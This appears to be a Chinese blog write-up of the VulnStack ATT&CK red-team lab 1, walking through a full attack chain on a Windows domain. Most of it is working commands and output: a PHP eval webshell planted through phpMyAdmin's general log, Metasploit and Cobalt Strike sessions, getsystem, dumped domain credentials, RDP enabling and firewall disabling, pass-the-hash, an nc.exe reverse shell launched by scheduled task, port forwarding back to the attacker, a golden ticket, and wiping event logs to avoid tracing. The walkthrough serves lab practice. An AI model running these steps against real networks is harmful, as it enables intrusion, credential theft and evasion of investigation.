VulnStack-ATT&CK红队一

目标:获取全部机子的SYSTEM/ROOT权限远程连接电脑图形化

阶段一:初始Webshell 建立

KALI: 192.168.220.138

image-20250616233628543

获取目标机IP,接下来进行nmap基础探测(端口,服务等等)

image-20250616234629468

得到80(web)和3306(数据库)
3306一般不会直接让你登录,稍微看一下

image-20250616234750677

失败,所以我们去看WEB服务

image-20250616235309928

OK,是phpStudy下的探针服务,这个还是有很多漏洞和信息的
比如说数据库的获取shell,绝对路径的获取等等,我们先来收集一下,试试弱口令

绝对路径 C:/phpStudy/WWW	#其实可以尝试报错,报错出来绝对路径
数据库 root/root

#真实环境可以去phpStudy 探针 2014,密码也是root/root
#去学习一下几种GetShell的方式
拿到信息我们就可以直接去phpmyadmin了,因为默认路径就是这个(也可以dirb/dirsearch/gobuster扫一下目录)
如果你是扫描目录的,你甚至会发现有phpmyadmin和phpMyAdmin,两种数据库。这是因为服务器是WIN系统,对于路径大小写不太敏感,其实都指向一个结果

WEBshell姿势一(phpMyAdmin)

image-20250617001011798

进入phpmyadmin,然后日志写马:

show variables like "%general%";	#查询配置
set global general_log = 'ON';
set global general_log_file='C:/phpStudy/WWW/a.php';	#此处要利用前面获得的绝对路径
select '<?php eval($_POST[cmd]);?>';

image-20250617001226364

依次执行,然后访问a.php

image-20250617001726889

得到Notice证明对了,这个就代表php正常执行,但是它没有获取到我们传输的POST参数,所以出现了提示
#如果一定要看日志,可以源码打开

image-20250617001921303

OK 上线!!!(๑•̀ㅂ•́)و✧

WEBshell姿势(yxcms)

其实这个路径找起来,挺...怪的,我个人理解有两个办法找到这个路径

1,gobuster参数设置

image-20250617003350188

然后下载下来beifen.rar文件,解压得到路径提示

image-20250617003651507

2,数据库发现

在我们进入phpmyadmin数据库以后,其实我们能发现有个库就叫做newyxcms

image-20250617003826472

反正我们直接登录http://192.168.220.157/yxcms/,我们直接能在公告里面发现用户名和密码,还有登录信息

image-20250617004017673

直接登录,能发现是一个很常见的模板类型的网站框架,最常见的就是WordPress
那么一样的打法,我们直接修改模板,添加一句话木马,然后访问即可

image-20250617004503221

然后就是获取访问位置了,可以直接看.rar文件里面的位置去找它的相对路径
或者,一个个试(~ ̄▽ ̄)~

image-20250617004748612

拼接一下,试试蚁剑能不能上线

image-20250617004855285

OK 至此,所有的WEBshell我们应该是都拿到了( •̀ ω •́ )y
之后就是去获取第一台机子的权限啦~

阶段二:权限提升与主机内网渗透

image-20250617010432393

#热知识,WIN里面最高权限是SYSTEM
我们拿到的是administrator,应该是属于管理员之类的权限,我们上线CS,去拿会话
其实CS在渗透当中真的很常见也很好用,里面集成的工具绝对都是巨有用的,而且还是图形化

image-20250617011342769

先创建一个exe马子上传到WIN 7,也就是刚刚拿到administrator的机子
image-20250617011610411

image-20250617011912444

成功上线,接下来我们就可以开始获取基础信息了,但是也可以先去提权
一般拿到administrator就够了,但是为了学习,所以我们就来什么都试试,我个人习惯是msf作为命令行,CS作为图形化的辅助,所以先来传输会话到msf(每个人习惯不一样)

MSF设置:

use exploit/multi/handler
set payload windows/meterpreter/reverse_http
set lhost 192.168.220.138
set lport 1234

CS设置:
1,创建一个监听器 监听上面的IP/PORT
2,右键会话 > 凭证提取 > 新建会话
3,然后喝杯茶等一会儿

image-20250617013226537

然后我习惯一个用户一个会话 不会打架,所以又在msf上面传输了一个会话给CS

image-20250617021513580

顺手提了给权限,其实就是双击会话,然后输入

getsystem
image-20250617021601825

直接提升到了SYSTEM权限,这也意味这,这台机子完全在我们的控制下了
接下来我们可以获取该机子的信息和域控的信息:
1,Administrator的用户密码
CS执行:logonpasswords

	msv :	
	 [00000003] Primary
	 * Username : Administrator
	 * Domain   : GOD
	 * LM       : edea194d76c77d875bab81ae20fa3c86
	 * NTLM     : ad8b1b80e5d43bd61ab6796242bc7daa
	 * SHA1     : ae185dd6f0857274ed77bab1eb981473ddd8c5fd
	tspkg :	
	 * Username : Administrator
	 * Domain   : GOD
	 * Password : hongrisec@2025
	wdigest :	
	 * Username : Administrator
	 * Domain   : GOD
	 * Password : hongrisec@2025
	kerberos :	
	 * Username : Administrator
	 * Domain   : GOD.ORG
	 * Password : hongrisec@2025

OK 得到密码hongrisec@2025

2,开启3389的远程连接

REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f
netsh firewall set opmode disable
#PS:你也可以自己创建用户 然后给administrator的权限
#net user <用户名> <密码(最好数字+字母+特殊字符)> /add
#net localgroup Administrators <用户名> /add
#net user 	查看配置

image-20250617131807024

可以Kali上面nmap扫描来看有没有开启3389

image-20250617132000998

然后远程连接,登录Administrator/hongrisec@2025
如果不是GOD域,记得用户名写成GOD\Administrator

image-20250617132847730

3,shell收集信息

net view                 #查看局域网内其他主机名
net time /domain		 #查询域控制器的时间
net config Workstation   #查看计算机名、全名、用户名、系统版本、工作站、域、登录域
net user                 #查看本机用户列表
net user /domain         #查看域用户
net localgroup administrators #查看本地管理员组(通常会有域用户)
net view /domain         #查看有几个域
net user 用户名 /domain   #获取指定域用户的信息
net group /domain        #查看域里面的工作组,查看把用户分了多少组(只能在域控上操作)
net group 组名 /domain    #查看域中某工作组
net group "domain admins" /domain  #查看域管理员的名字
net group "domain computers" /domain  #查看域中的其他主机名
net group "doamin controllers" /domain  #查看域控制器主机名(可能有多台)
#我们就执行前几个
image-20250617134024381

整理获得的信息:

三台主机:			\\OWA			\\ROOT-TVI862UBEH	  \\STU1
依次ping得到IP:		192.168.52.138	  192.168.52.141   	   IPv6
DNS域名:god.org
域控制器:owa.god.org
#所以能获得内网IP是192.168.52.0/24

CS上同步信息直接执行new view,然后点击小电脑

image-20250617134917110 image-20250617135119520 至此,这台机子基础能获取的信息就差不多了,接下来就是要对域内另外两个机子进行渗透了 #我msf断了,等等重新上线SYSTEM权限的,一定要上线,之后很重要

阶段三:凭证窃取与横向渗透

其实内网扫描很简单,直接上传一个fscan就可以了,扫描结果:

192.168.52.143:139 open
192.168.52.141:139 open
192.168.52.141:7001 open
192.168.52.143:3306 open
192.168.52.143:445 open
192.168.52.141:445 open
192.168.52.138:445 open
192.168.52.138:139 open
192.168.52.143:135 open
192.168.52.141:135 open
192.168.52.138:135 open
192.168.52.143:80 open
192.168.52.138:80 open
192.168.52.141:21 open
192.168.52.138:88 open
192.168.52.141:7002 open
192.168.52.141:8099 open
192.168.52.141:8098 open
[+] NetInfo:
[*]192.168.52.143
   [->]stu1
   [->]169.254.129.186
   [->]192.168.52.143
   [->]192.168.220.157
[+] 192.168.52.143	MS17-010	(Windows 7 Professional 7601 Service Pack 1)
[+] NetInfo:
[*]192.168.52.138
   [->]owa
   [->]192.168.52.138
[+] NetInfo:
[*]192.168.52.141
   [->]root-tvi862ubeh
   [->]192.168.52.141
   
[*] 192.168.52.143       GOD\STU1              Windows 7 Professional 7601 Service Pack 1
[*] 192.168.52.141       __MSBROWSE__\SNTL_ROOT-TVI86   
[+] 192.168.52.138	MS17-010	(Windows Server 2008 R2 Datacenter 7601 Service Pack 1)

[*] WebTitle:http://192.168.52.141:7002 code:200 len:2632   title:Sentinel Keys License Monitor
[+] 192.168.52.141	MS17-010	(Windows Server 2003 3790)
[*] 192.168.52.138 [+]DC GOD\OWA               Windows Server 2008 R2 Datacenter 7601 Service Pack 1
[*] WebTitle:http://192.168.52.141:8099 code:403 len:1409   title:The page must be viewed over a secure channel
[*] WebTitle:https://192.168.52.141:8098 code:401 len:1656   title:You are not authorized to view this page
[*] WebTitle:http://192.168.52.138     code:200 len:689    title:IIS7
[+] ftp://192.168.52.141:21:anonymous 
[*] WebTitle:http://192.168.52.143     code:200 len:14749  title:phpStudy 探针 2014

其实很明显了,整理下所有信息:

\\OWA: 192.168.52.138: WIN-SER 2008 R2: MS17-010
\\ROOT-TVI862UBEH: 192.168.52.141: WIN-SER 2003 3790: MS17-010
\\STU1: 192.168.52.143: WIN7: MS17-010

但是由于是内网,所以我们要先做一下代理,CS不需要代理,但是MSF需要我们转到MSF上去设置代理
注意:需要在会话下,不是msf下面

run post/multi/manage/autoroute
#run autoroute -s 192.168.52.0/24
run autoroute -p
image-20250617142237381

#这里就不尝试了,因为虽然检测出来了有永恒之蓝的漏洞,但是实际尝试最普通的永恒之蓝直接获取shell的方法是不行的
#要更改设置,但是永恒之蓝这个漏洞我们会放在最后获得远程桌面的时候再利用

1,哈希传递(PTH)

接下就是,获取域内另外两台机子的权限,这里直接使用哈希传递(PTH)获取域控权限。右键OWA 或者 ROOT会话,横向移动 > psexec
#提前设置一个Listener,如下

image-20250617143127672

image-20250617142931032

但最好使用SYSTEM的权限,成功概率比较大
两台机子都进行一样的操作
image-20250617144552341

image-20250617144722461
至此拿到了所有机子的SYSTEM权限,然后我们去获取它的远程桌面
添加路由,我们先拿一个msf会话:

use exploit/multi/handler
set payload windows/meterpreter/reverse_http
set lhost 192.168.220.138
set lport 1234
exploit

先自动添加路由:

run post/multi/manage/autoroute
run autoroute -p
# # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # #
# [!] Meterpreter scripts are deprecated. Try post/multi/manage/autoroute.				#
# [!] Example: run post/multi/manage/autoroute OPTION=value [...]						#
# 																						#
# Active Routing Table																	#
# ====================																	#
# 																						#
#    Subnet             Netmask            Gateway										#
#    ------             -------            -------										#
#    169.254.0.0        255.255.0.0        Session 1									#
#    192.168.52.0       255.255.255.0      Session 1									#
#    192.168.220.0      255.255.255.0      Session 1									#

然后升级到SYSTEM权限,保存会话到后台:

meterpreter > getsystem
...got system via technique 1 (Named Pipe Impersonation (In Memory/Admin)).
meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM

设置代理socks5:

use auxiliary/server/socks_proxy
exploit
msf6 auxiliary(server/socks_proxy) > vim /etc/proxychains4.conf
[*] exec: vim /etc/proxychains4.conf

image-20250617170053914

接下来就是测试代理是否成功了
1,测试内网端口是否能扫描到

proxychains nmap -sT -Pn -T4 192.168.52.141
image-20250617170817075 image-20250617171319965

得到开放端口

2,浏览器设置代理访问

image-20250617170457277 image-20250617170511834

成功~ 然后就是测试永恒之蓝了

use auxiliary/admin/smb/ms17_010_command
show options
set RHOSTS 192.168.52.141
#set command 'REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f'
#set command 'netsh firewall set opmode disable'
#set command 'netsh advfirewall set allprofiles state off'

其实就是老一套操作,然后代理获取远程桌面

image-20250617212256146

具体账户密码,直接CS里面logonpassword查看就行,192.168.52.138也是一样的

image-20250617212854555

之后其实就是看你想怎么玩了 你可以,要玩命令行就直接CS上 图形化就MSF开远程
可以自己创建用户,给权限,等等~
甚至可以玩CVE-2020-1472的操作,直接重置为空()


https://blog.csdn.net/weixin_46022776/article/details/139295589

2,$IPC(最简单的办法)

IPC$(Internet Process Connection) 是共享 " 命名管道 " 的资源,它是为了让进程间通信而开放的命名管道,通过提供可信任的用户名和口令,连接双方可以建立安全的通道并以此通道进行加密数据的交换,从而实现对远程计算机的访问。IPC$是NT2000的一项新功能,它有一个特点,即在同一时间内,两个IP之间只允许建立一个连接。IPC 可以通过验证用户名和密码获得相应的权限,通常在远程管理计算机和查看计算机的共享资源时使用。
#简单理解就是,两个机子完全相互信任,可以互相对对方操作

WIN7窗口1操作:

C:\Users>cd Administrator
C:\Users\Administrator>cd Desktop
C:\Users\Administrator\Desktop>dir
 驱动器 C 中的卷没有标签。
 卷的序列号是 B83A-92FD
 C:\Users\Administrator\Desktop 的目录

2025/06/17  22:36    <DIR>          .
2025/06/17  22:36    <DIR>          ..
2025/06/17  01:16            19,456 artifact_x64.exe
2019/08/29  11:09           376,680 Firefox-setup.exe
2025/06/17  14:02         5,427,200 fscan.exe
2019/08/29  11:51             1,401 lab.ovpn
2019/08/29  11:18             1,367 lab.pentestit.ru (1).ovpn
2025/06/17  22:37    <DIR>          nc
2019/08/29  11:15               963 Nmap - Zenmap GUI.lnk
2019/08/20  17:41        26,922,800 nmap-7.80-setup.exe
2019/07/17  22:16         3,667,704 npp.7.7.1.Installer.exe
2011/04/30  18:24            24,576 ocl.exe
2019/09/15  21:45           262,144 ocl.id0
2019/09/15  21:45            90,112 ocl.id1
2019/09/15  21:45            16,384 ocl.nam
2019/09/15  21:45             1,296 ocl.til
2019/08/29  11:06         4,326,216 openvpn-install-2.4.7-I607-Win7.exe
2019/08/29  11:54         3,984,992 openvpn-install-latest-stable.exe
2025/06/17  22:25             4,974 result.txt
2019/08/29  13:20             1,914 test.ovpn
2019/08/29  14:16             1,896 vpn.conf.ovpn
2019/09/14  12:22               989 搜索 Everything.lnk
              21 个文件     61,472,238 字节
               3 个目录  6,812,893,184 可用字节

C:\Users\Administrator\Desktop>dir \\192.168.52.138\c$
 驱动器 \\192.168.52.138\c$ 中的卷没有标签。
 卷的序列号是 1E4D-1970

 \\192.168.52.138\c$ 的目录

2019/10/13  13:06    <DIR>          ExchangeSetupLogs
2019/08/24  21:55    <DIR>          inetpub
2009/07/14  11:20    <DIR>          PerfLogs
2019/08/24  21:34    <DIR>          Program Files
2019/08/24  21:34    <DIR>          Program Files (x86)
2019/10/13  18:01    <DIR>          redis
2019/08/24  21:55    <DIR>          Users
2025/06/17  22:27    <DIR>          Windows
               0 个文件              0 字节
               8 个目录 13,963,059,200 可用字节

C:\Users\Administrator\Desktop>net use \\192.168.52.138\ipc$ "hongrisec@2025" /u
ser:"administrator"
#上线CS的时候说了怎么看了
命令成功完成。


C:\Users\Administrator\Desktop>xcopy .\nc \\192.168.52.138\c$
.\nc\doexec.c
.\nc\generic.h
.\nc\getopt.c
.\nc\getopt.h
.\nc\hobbit.txt
.\nc\license.txt
.\nc\Makefile
.\nc\nc.exe
.\nc\nc64.exe
.\nc\netcat.c
.\nc\readme.txt
复制了 11 个文件

C:\Users\Administrator\Desktop>net time \\192.168.52.138
\\192.168.52.138 的当前时间是 2025/6/17 22:40:29
命令成功完成。


C:\Users\Administrator\Desktop>at \\192.168.52.138 22:45:00 c:\nc.exe 192.168.52
.143 8888 -e cmd.exe
#创建定时任务
新加了一项作业,其作业 ID = 1

WIN7窗口2操作:

PS C:\Users\Administrator\Desktop\nc> ./nc.exe -vlp 8888
listening on [any] 8888 ...
DNS fwd/rev mismatch: owa != OWA.god.org
connect to [192.168.52.143] from owa [192.168.52.138] 50706
Microsoft Windows [版本 6.1.7601]
版权所有 (c) 2009 Microsoft Corporation。保留所有权利。

C:\Windows\system32>ipconfig
ipconfig

Windows IP 配置


以太网适配器 本地连接:

   连接特定的 DNS 后缀 . . . . . . . :
   本地链接 IPv6 地址. . . . . . . . : fe80::d9fb:18e5:e669:a514%11
   IPv4 地址 . . . . . . . . . . . . : 192.168.52.138
   子网掩码  . . . . . . . . . . . . : 255.255.255.0
   默认网关. . . . . . . . . . . . . : 192.168.52.2

隧道适配器 isatap.{D7C92CB6-1939-46AC-85CE-50401CEC5056}:

   媒体状态  . . . . . . . . . . . . : 媒体已断开
   连接特定的 DNS 后缀 . . . . . . . :

C:\Windows\system32>

这时候我们就直接拿到域控机子的SYSTEM权限了,然后反弹给KALI
设置一个端口转发:

netsh interface portproxy add v4tov4 listenaddress=0.0.0.0 listenport=9999 connectaddress=192.168.220.138 connectport=2345

监听本地的9999端口,所有传输转移到192.168.220.138的2345(KALI监听端口)
然后再在获取到的域控机子上反弹会话给WIN7的9999端口

image-20250617230009261

OK,至此,完美完结~
(〃 ̄︶ ̄)人( ̄︶ ̄〃)

其他的一些功能or打法

权限维持(黄金票据)

黄金票据是指能够绕过认证授权机制并获得所需权限的票据。这种票据可以被攻击者收集和利用,从而从系统内部获取高权限,甚至完全控制系统。

1. 抓取 Hash 还有明文密码

把SID,域名,复制下来等下黄金票据要用

hash: 58e91a5ac358d86513ab224312314061:::

image-20250510203145554

SID: S-1-5-21-2952760202-1353902439-2381784089-1000

image-20250510203159562

域名:GOD.ORG

2.黄金票据配置

凭证提权—>黄金票据

image-20250510203219801

把刚刚复制的域名,SID粘贴上去,hash已经帮你自动抓取了,用户名随便

image-20250510203232588

ok成功

image-20250510203241758

痕迹清除

在渗透过程中,痕迹清除非常非常重要,不清除万一被溯源,容易被ban

shell wevtutil cl security               //清理安全日志
shell wevtutil cl system                 //清理系统日志
shell wevtutil cl application            //清理应用程序日志
shell wevtutil cl "windows powershell"   //清除power shell日志
shell wevtutil cl Setup                  //清除(cl)事件日志中的 "Setup" 事件。
posted @ 2025-06-22 15:28  麟原  阅读(122)  评论(0)    收藏  举报